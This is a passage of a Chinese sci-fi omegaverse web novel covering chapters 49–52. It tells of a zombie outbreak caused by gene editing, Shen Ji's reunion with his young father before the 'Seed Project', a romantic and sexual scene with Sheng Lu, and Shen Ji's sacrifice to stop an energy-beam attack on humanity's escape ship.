“昨天晚上？昨晚圣路大人去了哪里？” “圣路大人什么也没说，只是说要去杀了自己的羁绊。” “那么，羁绊是什么？” “看这情况，你还不清楚吗？” 众人沉默一阵…… “羁绊已经变成床伴了！“ 说完，屏幕一片漆黑，偌大的广场上，只留下多诺万的尸体孤零零得躺在那里。 第49章 第 四十九章 沈继刚刚走出广场，…… 沈继刚刚走出广场, 立刻就有一艘神秘的飞行舰停在他面前。 “沈继先生，部长让我来接您。”一个男人坐在驾驶座上，看起来是个高级军官。 沈衣的动作还真快, 多诺万死了不到二十分钟，就立刻派人来接他了。 “明天早上再来，现在我有事。” “您的通缉令已经上了A国的警方系统, 如果您不跟我来，很快就会被警方逮捕。” “我说，明天早上来。”沈继看向他。 那男人也是个高级军官，被他这么一冷，诧异地怔了一下。 这个年轻的Enigma冷下脸来, 跟他的顶头上司沈衣，倒是十分相像，难不成真的是沈衣的私生子？ 沈衣今年三十多岁，假如十五六岁生子, 那也不是不可能。 想通这点，暗道自己后知后觉的军官连忙道：“好，我在暗处等您处理好事情, 您可以随时叫我。” 随后沈继回到自己昨晚住的那片仿生叶下。 这种仿生叶子纹路坚固，可挡风雨, 有地垫和沙发，叶杆上有太阳能照灯，可以看做是城市为居民安置的临时庇护所。 倚在沙发上, 可以看见漂亮的森林城市, 这是末日之前的宁静。 奇怪的是，他这么明目张胆地杀了多诺万，警方现在却没有来找他。 他不知道的是, 此时此刻，在森林城市的另一端，警察们早已忙得焦头烂额。 城市中央出现了大量攻击事件。 城市响起了警报：“城市涌现大量犯罪者，无辜攻击行人和商铺，纵火犯罪，以及居民楼有撕咬以及啃食人肉事件，警方正在调查中，呼吁民众待在家中，锁好门窗，不必要不可外出。” 沈继怔了一下，难道跟多诺万的基因编辑方案有关？ 一道身影闯进拢着的叶子里，带着恶臭。 只见那人面色苍白，龇牙咧嘴，嘴角带血，一双阴寒的眼睛幽幽发亮。 还没来得及扑到沈继身上，就被沈继的茧壳绞得稀烂，跌倒在地上。 沈继站起身，这些家伙真的丧尸化了？ 这时候，视频对话响起，是沈衣。 “沈继，你所在的地区正在丧尸化，立刻离开那里。” “这是怎么回事？” “我刚刚得到消息，从一年前起，多诺万就私下对他的拥护者进行了基因编辑改造，现在第一批受害者的副作用已经显现出来了，因此你那边才会突然出现大量的丧尸。” 沈继向外面探了一眼，城市的绿树干道和站台边，人们早就乱成一团。 失去理智的丧尸追赶正常人，撕咬和啃食，如同野兽一样。 而且，他发现，那些不正常的家伙们，都在往他这边移动。 “第五层已经得到通知，现在正在赶往当地，你要保护好自己。”沈衣道。 “什么意思？” “在基因编辑的改造中，多诺万动了手脚，他在程序中设立了红点人物，红点人物是所有丧尸的攻击对象。” “什么？” 那边的声音嘈杂起来，似乎他是在跟旁人确认什么。 随后沈衣语重心长地回答他：“没错，技术部怀疑你就是红点人物，丧尸们会极尽手段地追杀你。” 沈继：“什么……” 看来，昨天让多诺万死的太爽快了。 沈衣这个时候居然还笑得起来：“你跟我哥到底是什么关系，为了见他，还真是让你受尽了委屈了。” 沈继道：“总之别忘了，你答应我的事。” “当然，我哥他也很想见你呢。” 突然一声病态的笑，从沈继身后传来，森然寒意。 沈继转头看到了圣路。 那双阴冷的红色眼睛，此刻比丧尸恐怖千百倍。 “为了见沈越，受尽了委屈，亲爱的……” 圣路坐在沙发上回味这句话，手指抵住了嘴角，目光看向他，说话的尾音凉悠悠的，像绕着一把剔骨杀人的刀。 那边的沈衣幸灾乐祸：“啊，看起来我说了不该说的话，抱歉。” 沈继挂断了通话，看向圣路：“不是你听见的那样。” 沈继说出这句话的时候，体会到了什么叫苍白无力。 圣路微微一笑：“是吗？” 每次只要有人提到沈越，沈继就像变了一个人，甚至没法维持平时冷静的状态。 沈继啊沈继，原来你也会想去见一个人啊，你可以绞尽脑汁地去见他，可我，一直在找你，我以为你是身不由己，原来只是不想，你不会想我，也不会想见我。 圣路坐在沙发上，阴冷地想。 沈继提醒他：“不管你现在脑子里想的是什么，通通都不是真的，只是误会。” 圣路摊开双手，无辜道：“亲爱的，我什么都没想。” “真的吗？” 圣路很不对劲，看起来已经接近要杀人的状态了。 “真的。” 圣路病态的笑着：在乎一个人的表现是藏不住的，沈继，我难道只是一个替代品？ 倏然间，气氛已接近冰点。 沈继：“……”真是出神入化的表演，你那眼都快滴出血了。 外面传来窸窣的脚步声，两名发狂的丧尸刚刚靠近仿生叶，就被圣路的怪物鱼咬的尸骨无存。 后面几名丧尸接踵而来，被几道精神丝线切断了躯干。 沈继收回精神力，向他解释：“他故意这么说的。” “啊，难道沈部长故意挑拨离间的？” “那倒不是。”沈继也不愿意这么说他二叔。 再说，沈衣也不知道他跟圣路的关系。 圣路发出病态又冰冷的笑声：瞧瞧，连他弟弟，你都要袒护。 不知道的以为你是他的谁。 沈继垂眸看他：“你又在想什么？” “什么都没想呀，亲爱的。”圣路微笑，随手一挥，两名发狂的丧尸血溅三尺高。 “……” 越来越多的丧尸围住了这片仿生叶，但因为遇到了正在闹别扭的小情侣，要么被分尸了，要么直接骨头不剩。 第五层的人到达地点的时候，只看到满地的尸体。 再看仿生叶里，沙发上坐着两个身影，气氛有些僵硬。 “又是那两个家伙，到底是什么恐怖怪物？” 经过几次交手，沈继和圣路两张脸已经成了第五层的噩梦。 “你好，是沈继先生吧？”队长走进仿生叶。 十几年前，在教堂外，他也见识过沈继的精神力。 如果不是十几年前见过面，年龄对不上，他也得怀疑，沈继是不是真是沈家两兄弟其中之一的私生子。 后面的成员们也跟着挤进来。 小小的仿生叶里，顿时挤满了人。 “是我。” “您没事就好，出来的时候，沈越先生说过，要好好保护您。”虽然他觉得，这种担心完全多余。 话刚出口，就感到一阵刺骨冰寒，让他浑身泛起鸡皮疙瘩，只见大恶魔圣路也正坐在旁边。 “哦？看来在彼此心里真的是很重要呢。”圣路目光瞥向沈继。 沈继解释：“我跟他甚至都没见过面。（目前为止，在这个世界。）” “宝贝，不要解释，我什么都没想。”圣路打断他。 “……” “你还记得我吗？”第五层中，一个男人看着沈继。 沈继看着他：“马斯？” 就是那个曾经在巨神教堂外，想要杀了他，但最终被反杀的那个alpha。 当初二十多岁的年轻人，如今已是年近不惑的青壮年。 马斯愣了一下：“十几年了，你居然还记得……” 当时对方可是正眼也没瞧过他的。 “当然记得。” 因为对沈继来说，前不久才见过。 马斯惊讶地看着他：“你好像不会老……” 他又看向旁边的圣路，对方正坐在沈继身边，双手搭在沙发靠背上，无声无息地把沈继圈入臂弯。 当年被沈继抱在怀里的人鱼，已是大名鼎鼎的沙星组织领袖。 马斯意识到当年的自己确实十分愚蠢，竟然妄想在他们面前逞英雄。 第五层的人走后没多久，那名军官进入仿生叶中，神态甚紧：“沈继先生，没事吧！” “没事。” “那就好，如果您有事，真不敢想，沈先生会怎么责罚我。”说完还擦了擦额头上虚无缥缈的汗水。 沈继怀疑，这些家伙都是恋爱游戏里故意出现捣乱的反派NPC，在不适宜的时候，说些不适宜的话。 沈继示意军官：“这太挤了，你先出去。” 他得先解决一下这个醋坛子。 军官道：“那我们在外面等你。”临走前还不忘说道：“对了，沈越先生还在等着您。” 圣路一声轻微的嗤笑，不言而喻。 小小的仿生叶下，终于清净了下来。 沈继道：“不高兴就说不高兴。” “宝贝，我很高兴，怎么会不高兴。” 沈继看着他那病态的笑容：“再阴阳怪气，就直接顶死。” “……” “亲爱的，我只是在进行人生中第一次约会，沈继先生可是终于要见到想见的人了，我替您高兴呢。” 沈继一怔，对啊，今晚可是说好的要约会。 原来是在生气这个吗？毕竟是自己没能履行好这来之不易的约会。 “说话算话吗？” “对不起，约会的事情，只能下次再好好补过。” “看来是说话不算话啊。”圣路冷笑。 “当然算了。” “那么说好的顶死我呢？”圣路咬住他领子一角，抬起视线盯着他。 “……”这就是变态的关注点。 沈继在他唇上碰了一下：“……疯子，丧尸就在外面。” 圣路立刻脸红气喘：“好舒服，再亲疯子一下。” 沈继又吻他，舌头压进他口中，切切实实地吻了一下。 这让圣路更加难耐，更加不过瘾了，直接拉住他的领口迫使他靠近，对着柔软的唇张口就咬。 沈继迎合地安抚他一下：“等到了安全的地方再说。” 现在必须先把丧尸解决了。 沈继走出仿生叶，看到高处的树干上，轨道上都是丧尸。 到底有多少人接受了多诺万的基因改造。 这边，正在消灭丧尸的队长警告众人：“根据卫星探测，有大量的丧尸正在往这边过来。” 虽说军方那边反应迅速，动用了军舰，激光射线和电磁炮。 但因为丧尸没有痛感，且身体基因设置为可以抵抗陨石灾难的超强体质，就算断手断脚也不会立即死亡，普通的武器难以彻底杀死他们的行动力。 再加上不断出现新的丧尸，源源不断地攻击他们，根本压制不完。 “糟了！这些家伙是有备而来的！”队长先看出了端倪。 “他们像兵团一样。”军官也道。 “现在麻烦了。”沈继脸色俨然。 这些丧尸被植入军团意识，单一的丧尸不可怕，但是一旦有百上千个丧尸，则会自发变成丧尸兵团，进行有目的有组合有层次的攻击。 在鏖战十几分钟后，马斯直接被拉进了丧尸兵团中。 “队长！救我！”那成员嚎叫着，这些丧尸层层叠叠，像蜂巢一样把他包裹。 队长这边的丧尸更多，自顾不暇，更别说沈继是红点人物，丧尸们大部分都朝他而去。 圣路坐在沙发上，看着人类自相残杀，他只需要保证沈继没事，其他人不在他关心范围内。 马斯绝望地闭上眼。 就在这时，无数条精神丝线从天而降，从最外围处缠绕住丧尸兵团，紧紧压覆，随后如同炸弹一般，尸块碎落。 转瞬间，那些丧尸便分裂得七零八落。 圣路看见这些精神丝线，虽然和沈继的精神力相像，但这些精神丝线更加强紧有力，技巧成熟，几乎无视任何阻碍，就能将强横的丧尸兵团一击既溃。 就算是现在的沈继，也没办法做到这样。 沈继抬头，看见半空中一艘鲸鱼舰，正落下一个八角传送阵。 “是沈越！”队长道。 第50章 第五十章 只喜欢你。 沈继一眼就看到自己的父亲。 八角阵的光芒消退, 一道身影出现在树干铺就的大道上。 在沈继的认知里，作为父亲的沈越温柔而充满智慧，是他心中最敬爱的人。 歌雅世界的沈越如今三十多岁, 外貌上和沈继所熟悉的形象有所出入，但那种眼神和气质却没有任何变化。 这时候，沈越也在众人中看到了那个黑发黑眸的年轻人。 “你一定就是沈继了？” 沈继压制住心中情感的波动：“是我。” 沈越从大道上面跳下来, 走近他：“终于见到你了，我听沈衣说了你的事情，我这个弟弟有点调皮，他大概也是为难你了。” 他大概把沈继当成年龄相仿的朋友，才会有这种语气。 毕竟在歌雅世界里, 沈继的时间跨度，按照年龄参考，也已经三十岁了。 旁边的队长怔了一下，能当着众人面说那位心机深沉的沈部长调皮的, 估计也就只有这位了。 “他没做什么，本来我也看不惯多诺万那家伙。” 这时候，其余丧尸也被第五层拿火溶枪消灭了。 马斯劫后余生, 从丧尸堆积的尸块塔里爬出来。 他气喘吁吁地躺在地上，看见沈继和沈越正相谈甚欢, 而且两人越看越有点相像。 心中一惊：看来沈继真的是沈家的什么隐藏款吧。 这时一名丧尸从树藤上远远荡下来，从后面扑向沈继。 沈越正要把沈继拉开，见沈继头也不回, 那丧尸被精神丝线绞断了脑袋。 沈越惊喜地按住他的肩膀：“天啊, 哥们，我听沈衣说你也会用精神丝线，今天一见, 你也太厉害了。” 沈继对于这位活泼可爱的年轻版亲爸，有点没反应过来：“我再怎么，也不会有你厉害的。” 沈越哼哼一笑：“只要你能登上宇宙飞船，就会超过我。” 第五层的人在旁边看着这和谐的画面。 “你们不觉得很不对劲吗？” “是很不对劲。” “以前觉得沈继那小子狂得很，今天在沈越面前，好像变得特别乖巧？” “我早发现了，以前他就特别想见沈越。” “怪不得呢，圣路经常和沈越对着干。原来是情敌？” 忽然感觉背后一片阴凉，众人回头一看，只见沙发上某位大恶魔，连带笑意，眼含病态，眼角发红。 众人顿时灵魂尖锐地抖动起来：要死了！ 沈继回头来找圣路的时候，发现仿生叶里已经空无一人。 是什么时候走了？ 沈越邀请他去空间站，沈继和父亲刚见面一会儿，自然是不会拒绝。 走之前，沈继拜托第五层的队长，让他帮忙转告圣路自己的去向。 ———— 歌雅总共有三座大型空间站，在之前，这些空间站就已经存在。 后来为了应对末日，人类开始全力研发宇宙航天技术，将空间站扩大。 “再过两个月，人类就能通过空间站，登上宇宙飞船，去新的天地探索宇宙。” “是的，很了不起。”沈继喃喃道。 虽说早已知道歌雅的结局，但如此庞大的飞船和外壳上的歌雅标志，依然像巨手一样攫住了他的心灵。 “从明天开始，空间站会开始安排第一批人类登录飞船，如果你想要，明天也可以登上飞船。”沈越笑道。 沈继没明确表示，只是问：“到时候，像圣路这样的人，也是可以登上飞船的吧？” “当然，你也听见沈衣的那些言论了吧，他希望登上飞船的人越多越好。所以不论是谁，都可以登上飞船。” 沈越还想带他参观宇宙飞船的内部，以及各种护卫舰。 但被沈继拒绝了。 “你不怕我是间谍吗？” “间谍？”沈越一听，好笑道：“谁的间谍？这是歌雅全人类共同努力的结果，除非你不是歌雅人。” 沈继这次来，学校要求他得到宇宙飞船的数据，和歌雅的航空路线。 虽然光脑没办法保存下歌雅的照片，但沈继有过目不忘的本领，这一点导师很清楚。 认定并坚信自己是歌雅后代的沈继，一开始就没打算要执行这最终的任务，他只是想借着穿越仪器来这里见圣路而已。 虽然他也知道，十万年后的歌雅和新人类早就不是同一个纬度，也就不存在相对立的威胁了。 就算他真的把飞船的数据提供给新人类，那也是一堆毫无意义的数字。 但尽管如此，沈继也始终没法说服自己，将这个任务执行到底。 “不，我就想看看，火种计划和关于你的事情，我可以看吗？” 沈越怔了一下：“看是看的了，但这些东西，新闻上都公布了呀，没什么好看的了。” 沈越还是带着沈继参观了那些仪器。 沈继看到了那颗漂亮的液体球。那是即将存放沈越意识和精神力的容器。 “剥离意识体的话，没有知觉，一直沉睡，就相当于死亡了吧。”沈继道。 “不清楚，我还没试过呢。” 出乎沈继意料的是，沈越看起来一脸轻松，完全没有自己想象中那种独自面对末世的孤独寂寞。 “沈继，你的亲人呢？” 想到在那颗小星球上生活着的家人，沈继感慨道：“他们在另一个地方活的很幸福。” 沈越心里一颤：难道……大概是早早就成了孤儿。 沈继无奈道：“别乱想，他们活的好好的。” “啊，抱歉。” 这之后的两天，沈继就在空间站里住下来，研究起空间站和地表之间的关联——他依然记得圣路曾说的要毁灭飞船的计划。 无论如何，他想让圣路活下来。 关于丧尸的事情，由于多诺万私底下分批给他的拥护者进行了基因编辑。 虽然也有新的丧尸潮爆发，但因为人数不多，加上政府提前防备，没有引起太大的惶恐。 沈衣作为飞船计划的负责人，正忙的焦头烂额，平日都是沈继和沈越两人相处。 变得熟悉后，原本就对沈继十分合眼缘的沈越，更是调侃起来。 “可惜现在来不及了，不然我高低要做个鉴定。” “什么鉴定？” “鉴定一下你是不是我爸在外面的私生子，那个臭老头背着我妈乱来了吧。” 沈继模棱两可：“没有，不是那层关系。” 能看见这么开朗的父亲，真好啊。 火种计划正式启动的前两天，也就是沈越即将陷入沉睡的前两天。 沈越在仪器室里进行躯体训练。这种特定的训练是为了避免意识剥离后，躯体在沉睡舱内过久而死亡。 他每天都要如此训练。 沈继发现沈越的脸色一天比一天苍白。 “你的脸色……” 沈越摸了摸自己的脸：“这是火种计划开始前的一部分，大概是剥离精神力的一点副作用？” 沈继沉默着，看着他语气稀松平常，眼神淡定。 他真不希望现在的沈越是在故作镇定，倒宁愿他显示出担惊受怕的样子。 “你一点不害怕吗？” 沈越摇头：“不怕呀。” 在不可改变的事情面前，害怕，是最没用的东西了。 沈继看着年轻的父亲，看着他因为透支过多精力而变得苍白的脸庞，看他那坚毅的眼神正在被无奈慢慢冷却。 他终于克制不住内心的情感，猛然抬手抱住他，喉咙里一声“爸”差点就要脱口而出。 他抱的很紧，沈越愣了一下，不知他为何如此，本想像个哥哥一样拍拍他的背脊，安慰他两句。 忽然他瞥见门口站了一道白色身影，和对方脸上那“温柔”的笑，刚抬起的手僵住半空。 怎么有种怪异的被抓·奸的既视感？ “呃，哥们，你还是先放开我吧，你的男朋友看起来好像要毁灭世界了。” 沈继瞳孔一震。 该不会那种狗血剧里才会出现的巧合，就这么在他身上发生了吧。 一只冰凉的手从后面缓缓覆上他喉结，耳边传来熟悉的笑意：“宝贝，等会你得像抱他那样用双倍的力气抱紧我。” 这病态的笑意中带起丝丝寒意，已经隐藏不住战栗的杀气了。 沈继毫不怀疑，圣路下一秒就召唤出怪物鱼啃掉他的脑袋。 就这0.01秒的思考时间，却被圣路当成了“畏罪潜逃”。 于是，感到喉咙上那只恶魔的手微微用力，就将他拉开远离了沈越。 沈继只能看见沈越那迅速缩小的身影以及跟他say拜拜的手。 房间内，沈继被他拖回了床上。 圣路这家伙怎么知道他房间？ 一个完全是泄愤的□□，把沈继的嘴唇差点干破皮了。 沈继知道他在气头上，也用心安抚他。 带着火药味和冷酷的吻，又带着点恋恋不舍。 “为什么没来找我？”圣路跨坐在他身上，双手按着他胸膛，低着的头，颤抖的声线，使他的背脊看起来像破了翅膀的蝴蝶。 “其实……这几天我强忍着，一直以为你会来找我。” 他对沈继，从来没有用这样正常的压抑的口吻说话，变态不再变态，那表示事态很严重。 沈继坐起身，抱住他：“我想着，等沈越进入睡眠舱后，就来找你。” 圣路微微一笑：“看来，他对你来说，真的很重要。” 【比我还重要。】 这阴郁苦涩的后半句，始终不敢说出口，怕得到对方肯定的回答。 “是很重要。” 此话一出，眼看着圣路就要疯狂了。 “但是，从爱情的角度来说，我只喜欢你。”他立即补充道。 圣路僵在当场。 这突如其来的告白就像一颗塞进嘴里的糖，硬生生把他噎住了，使他的脸皮瞬间红透。 这时候，圣路才察觉到空气中已经充满了Enigma的信息素。 是信息素封闭剂的时效已经过去了。 “既然床都上了，把衣服脱了吧。”Enigma向后撑着手臂。【你现在阅读的是魔蝎小说 moxiexs】 第五十一章 第51章 第五十一章 不死不休。 这个空间站虽然运用了人工重力, 但只能保持平常状态的一半，并不像在地面时有足够的重力，可以让人类行动泰然自若, 没有常年呆在空间站的人，也很难保持平衡。 就像现在这样，圣路坐在他身上, 沈继一手向后按在床上，一手抱住他，感觉身上的人体重轻飘飘的，头发在自己眼前轻轻飘飘地晃荡着。 一起一落好像有滞后性。 虽然圣路的动作如他本人的性格一样，兴奋而疯狂, 但因为重力缘故，雷声大雨点小，这种焦迫着但是不能到底的感觉，让圣路越来越难受, 手指紧紧抓住他的肩膀。 “抱紧我。”沈继决定还是自己来吧。 圣路双手抱住他脖颈。 因为重力原因，他脸上的生理泪水也划得很慢，沈继能看到晶莹的泪珠在他脸上缓缓滚动着, 像个有意识的小东西，悠悠哉哉地爬下来, 连着汗水浸透在他脖颈和锁骨。 但当沈继稍微一动，汗水泪水就迫不及待地荡跌下来，落在他手臂或者腹部上, 显出摇摇晃晃的不安的样子, 然后被灼热的空气逐渐蒸发。 颤抖的气息全洒在他头顶的发旋，声音断断续续。 不知不觉间，Enigma的信息素已沉甸甸地浸透了omega的嗓音, 贯穿了omega的每一次呼吸。 似沉静又张狂的胜利者，冷静地侵占。 “就是这个……信息素……要更多……我要更多才行……”他像命令又像祈求，带着哭腔说着。 暧昧的声线浇灌着Enigma的欲望，使其无法拒绝。 omega双手抱紧他脑袋，使沈继额头上湿漉漉的汗水全压在他衣服上——到现在，他的底衬还松垮垮地穿在身上。 窗外的星星永不停息地运行。 是血液中奔腾的激流，或者是信息素的推波助澜，亦或者爱人的脸色太过漂亮，像视觉盛宴，引导年轻的Enigma热烈探索。 omega的手骨偏大又白皙，手指张开在放他身上的时候，像张牙舞爪的猫咪一样，在他身上留下恶狠狠的抓痕。 “变态，你往哪儿抓？”沈继在他唇边轻声道，声音低哑。 圣路被他这句话击中了爽点，眼眶一湿，一个更深的抓痕就出现在他身上。 “嗯……太爽了，亲爱的……忍不住……” 他委身于他，撩起后颈的头发，催促他实行标记。 Enigma在他的腺体上咬了一下，身体便窜起细微的电流，浑身软绵绵地摊在他怀里，勾住他肩膀向他索吻。 空间站随着星球的运行而运行，追逐围绕着那颗明亮的恒星，面对着恒星的光芒，永远不会有黑夜。 就像这段时光，永远不会被忘记。 两个人醉意朦胧地躺在床上，沈继已经微微困顿了，这时候在他身旁的圣路忽然激动地留下泪水。 “你哭什么？” “真爽。” “……” “早知道，刚遇见你的时候，就应该直接给你下药。” “……” “那你还要去破坏飞船计划吗？”沈继问他。 圣路微微一笑：“当然，大好的机会，为什么要放弃？” “那你也想让我死？” 圣路笑起来，像个彻头彻尾的疯子：“在一个月之前，我想着，和全人类一起死亡，是我与你之间最好的结局。” “？”沈继这下真的要升起一个大大的问号了。 这分明是大大的BE吧。 “登上宇宙飞船，我们之间才有无限的可能。” 圣路捂着脸笑了：“和人类在一个星球上共处都让我恶心，何况在那狭窄的飞船上，我的成员们，他们也和我一样。他们不愿意。” 沈继一怔，虽然他知道圣路厌恶人类，但他没想到会到这种程度。 他侧身抱住他，什么都没说。 圣路等着他的反驳，却只等来一个拥抱。 他僵硬着在他怀里，因为呼吸太过小心翼翼而变成不可抑制地颤抖。 在他的认知里，沈继外表冷漠，内心也没有多温暖，对任何人都事不关己的态度。 但从第一次见面开始，他总以他的方式安慰自己。 “就算我要害死所有人，你也……”你也不怪我吗？ “我劝你，不是因为担心人类的自救计划会失败，我只是不希望再也见不到你。” 圣路凑过去亲吻他，透过他鬓边黑漆漆的发丝，看见空间站外的天体，以及那些正忙碌穿梭于天地的舰机。 是为什么，他的心居然开始动摇了。 —————— 这次飞船计划，一共有三艘宇宙飞船，来往的工具数量有限，十几亿的歌雅人只能分批次进入。 第一批人类已经登录上穿梭舰，将通过空间站这个枢纽，再乘坐大型客舰进入宇宙飞船。 地面上的新闻媒体也正在报道这一历史性的时刻。 所有人翘首以盼，如果这第一批人类能成功登上飞船，那么，飞船计划将成功一半。 这时候，火种计划也将进行意识剥离，火种一号已进入无菌室。 两个计划双头并行。 在镜头面前，沈越向全世界留下最后的告别：“我会在母星，等我的家人来接我，希望那一天，早日来到。” 沈继一觉睡醒的时候，圣路就像上次一样，消失的无影无踪。 而此时，他也才从队长口中得知，沈越已经在无菌室。 火种计划已开始。 他跑到无菌室外，透过透明的墙体，看见沈越躺在特制的仿生纤维床，各种仪器围绕着他，这种特殊的手术进行没有办法进行麻醉。 他看见这时候的父亲，脸色几乎已到了透明的程度。 在来歌雅以前，沈继只听他轻描淡写的一两句话概括了成为火种的过程，但他没有想过成为火种要遭受这种可怕的痛苦。 “爸爸……”他控制不住地低喃。 虽然声音很小，无人听见，但身旁的沈衣却看向他，皱起了眉。 直到最后一刻，亲眼看着父亲的身体进入睡眠舱冷冻，看着液体球被封存起来，沈继也依然没有从那种阴郁低落的痛感中回过神来。 他久久地站无菌室外。 自那之后，圣路也不再来找他，沈继想通过沈衣那边探听沙星组织的消息，但沈衣那边也表示无能为力。 沈继猜测，圣路避开自己，大概是害怕，害怕见到自己，会动摇决心。 他对人类的恨，居然已到了这种不死不休的地步。 现在又过去了一个月，沈继望着外面来来往往的载客机舰，这已经是第三批进入飞船的人类了。 再过不到半个月，陨石撞击就要来了。 圣路，你的想法是什么呢？ 忽然一声恐怖震撼的巨响使他回过神来。 他抬起头，看见云层之上，一艘巨大的载客舰机正以最快的速度，冲破空间站的第一层防护链。 看来这艘机舰已经被外力控制。 沈衣果断下达命令：“不能让它靠近空间站，直接用导弹摧毁它！” “是！“ “等等……” 沈继刚开口，一颗导弹已经从空间站出发，击中了载客舰机，须臾间，热烈的光芒使所有人闭上双眼。 火光冲天，那艘机舰已经被彻底摧毁，瞬间化成飞灰，连残骸都不见，只剩热烈狂放的火焰在燃烧。 如果圣路在里面呢？ 沈继看着那片火光，喉咙发紧，心脏一下子被勒得喘不过气。 沈衣见他这样，还安慰他：“这是反人类组织蓄谋已久的计划，我早就收到消息，所以那架载客舰机上，也只是一些死刑犯，你不要太伤心。” 沈继猛然抬起头：“是谁？是沙星组织吗？” “不，是另外一个组织。” 沈继听完感觉浑身都释然轻松了，同时发现自己背脊一片冰凉，都是冷汗。 “沙星组织也有这种趋向，不过他们行踪诡秘，全部成员才十几个，我一直想安排眼线去探听消息都没办法。” 沈衣表示操碎了心。 “好在，飞船计划马上就要完成了。” “恐怕来不及了。”沈继俨然道，他看见另外十几艘战斗舰正从刚刚机舰坠毁的方向飞过来。 这种战斗舰比菲诺机舰还要机敏灵活。 跟刚刚那艘盲目横冲的载客舰机完全不同，每一艘战斗舰都速度飞快，它们目标明确而直接地瞄准了空间站的能源系统。 沈继一怔，现在距离末日只有几天，一旦空间站瘫痪，人类确实无法短时间内修复好空间站。 难道圣路所说的就是破坏空间站的所有能源系统，使人类无法飞向太空。 不，不应该只是这么简单。【你现在阅读的是魔蝎小说 moxiexs】 第五十二章（正文完结） 第52章 第五十二章（正文完结） 改…… 空间站的小型导弹已经对准了这些战斗舰。 每一艘都被击中, 转瞬间，它们的下场也和刚刚那艘舰机一样灰飞烟灭。 不，不对。 沈继跑到对接舱, 一路奔跑一边拨出了光脑上导师的通话。 庆幸的是，这一次导师的身影及时出现在眼前。 “我想申请立刻回去。” “仪器启动需要五分钟，你找地方掩护好自己。” 沈继如此突然, 导师大概以为是这边的陨石末日开始了，因此一句废话也不敢耽搁。 沈继到达对接舱，启动了一架灵巧的穿梭机，他从口袋里拿出那枚白月光之箭戴着脖子上：“希望这东西有用吧。” 随后他驾驶穿梭舰冲出空间站。 刚刚战斗舰坠毁时，沈继看到了里面的内核似乎没有被燃烧, 在导弹的威力下，是什么东西居然没有被影响。 如果他没猜错，那些战斗舰只是圣路的幌子，内中乾坤才是真正的杀器。 果然, 这边导弹撞击了战斗舰，高温将舰机外壳瞬间湮灭，爆炸发生后的火焰却还在持续飞行, 而且正在向太阳靠近。 所有人意识到不对劲了，但为时已晚。 “那是什么？” “是能量光束？这种东西怎么会出现在这里？” 能量光束, 借助恒星热量后可爆发出巨大的能量，成为杀伤性强大的武器，现在别说空间站, 如果被击中, 就连宇宙飞船都要被击毁。 “几年前有一位科学家研制出了这种武器，但不知为什么被上级否决了！并且取消了那位科学家的头衔。” 沈衣急道：“不能让它靠近恒星吸取能量，必须全部打中。” 说是能量光束, 但这种武器的速度是由慢到快，前期并没有到达光束，依然可以被打下来。 随后他也奔向对接舱，必须做好最坏的准备，如果不行，就要靠蛮力拦下它。 十几发能量光束被打得偏离了航线，纷纷陨落，只剩最后一发，与一枚小型核弹擦肩而过，幸存了下来。 它义无反顾地越过空间站，直接冲向了太空中的宇宙飞船。 D国的另一端，圣路坐在沙发上，看着转播画面。 因为沈继一直在空间站上，他的目标由空间站变为了宇宙飞船。 虽然已做好了一起死亡的准备，但却没有办法真的狠下心来亲手杀死他。 反正，末日来临，没有了飞船，谁也逃不过。 他的眼神阴郁冰冷：“也许你会恨我，但是我必须这么做。” 能量光束逐渐向恒星靠近，空间站虽然发出了最后的拦截，却因为其轨道无法预测，始终差之毫厘失之千里。 眼看着能量光束即将向恒星的临界点靠近，一旦到达临界点，能量光束将立刻返航，摧毁飞船。 突然间，屏幕上出现一艘穿梭机，他的速度极致疯狂，正在靠近那束能量光束。 圣路的脸色一瞬间苍白，眼神在涣散后努力凝聚焦点，却被酸苦的汽雾淹没。 他知道那是谁。 他的手紧紧抓住沙发边缘，直到指尖嵌进了沙发内。 沈衣驾驶穿梭舰飞出空间站时，看见早已有另一道舰机的身影冲向了能量光束。 强烈的光芒一瞬间甚至盖过了阳光，随后又立刻暗淡下来，能量冲击让沈衣的舰机差点被波及覆灭。 在一片悄然无声的火光中，能量光束被阻挡削弱，像龙卷风还未成型，已渐渐平息。 能量光束消失，那艘穿梭舰也早已湮灭。 不论是飞船上的人类，还是地面上的人类，整个歌雅人类都吊着一口气，直到这一幕后，久久地沉默，最后终于得以喘息。 沈衣从余悸中回过神，想起刚刚沈继突然离开：“是沈继吗？” 地表上一端，圣路也低下头笑了，他知道那是沈继。 他学着沈继捂住自己的额头，因为笑得太过用力，而喘不过气，憋到脸色通红。 “妈的……你才是疯子呢。”他的眼里因为极致痛苦反而露出兴奋的状态，眸珠迸发血红色的光芒。 身后的成员们沉默地看着他们的领袖发疯。 虽然飞船计划最终没有毁灭，但这种本就是没有百分百把握的事情。 “圣路大人，你怎么了？”索兰行动略微迟缓地跪坐在他脚边，担忧地看着他。 他从没有看到过这样癫狂的圣路。 圣路看着索兰，他亲眼看着这漂亮的孩子从少年成长到青年，然而每每看到他那双别扭的腿，就会想起人类的暴行和罪恶。 不止是索兰，包括这里的每一个成员，他们畸形而悲哀，全是被人类所害。 陨石撞击是天罚，是人类的报应才对。 可就是这样的人类，居然还是逃过了末日，成功飞往太空。 真可笑。 但现在，就在沈继死后，他竟然又产生一种强烈的期盼，他希望索兰活下去，让每一个成员都活下去。 这真是可悲。 圣路啊圣路，最可悲的就是你了。 “你们登上飞船逃生吧。”他惊觉自己的声音竟然透出一种苍老而渺小的苦涩。 众人惊愕： “那圣路大人您呢？” “为什么？我不去！” “我也不去，我早就想死了。” 圣路道：“你们走吧，我留在这，等他回来。” “还有谁？末日都到了，还有谁会来？” 这个时候，屏幕上已经切换到了火种计划的后续进行。 【经过科学院不懈努力，火种二号和火种三号，已于今天成功保存入液体球封存。现在仅有最后一个omega性别的火种，至今没有人选，专家鼓励omega市民积极参与报名，报名时间截止今日。】 屏幕上同时显示出三名火种的头像。 有一瞬间，圣路恍惚看见了沈继的脸，待他定睛一看，才发现原来只是泪光模糊了眼睛。 那不是沈继，而是沈越。 有什么东西像黑夜的闪电，猛然穿过了他的大脑。 “不，他会回来的。” ———— 星际航海时代。 “还给你。”沈继把脖子上的白月光之箭摘下来还给劳埃斯。 劳埃斯接过项链，见上面的光泽和精神力依然存在，完好无损，显然这枚白月光之箭没有派上用场。 雷伊佩服得鼓掌：“妈呀，不愧是我们柏堡军校的天选之子，这挂都没用上，就平安回来了。” 